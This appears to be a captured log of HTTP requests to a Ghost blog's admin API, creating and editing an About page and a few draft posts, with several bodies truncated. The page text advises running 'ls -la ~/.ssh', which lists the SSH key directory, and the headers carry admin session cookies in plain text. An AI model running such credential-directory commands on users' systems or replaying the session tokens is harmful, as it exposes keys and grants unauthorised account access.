{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=id%3A6af45d34d281b00001a599a0&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45d34d281b00001a599a0\",\"6af45711d281b00001a598a6\"]}"}
|
|
||||||
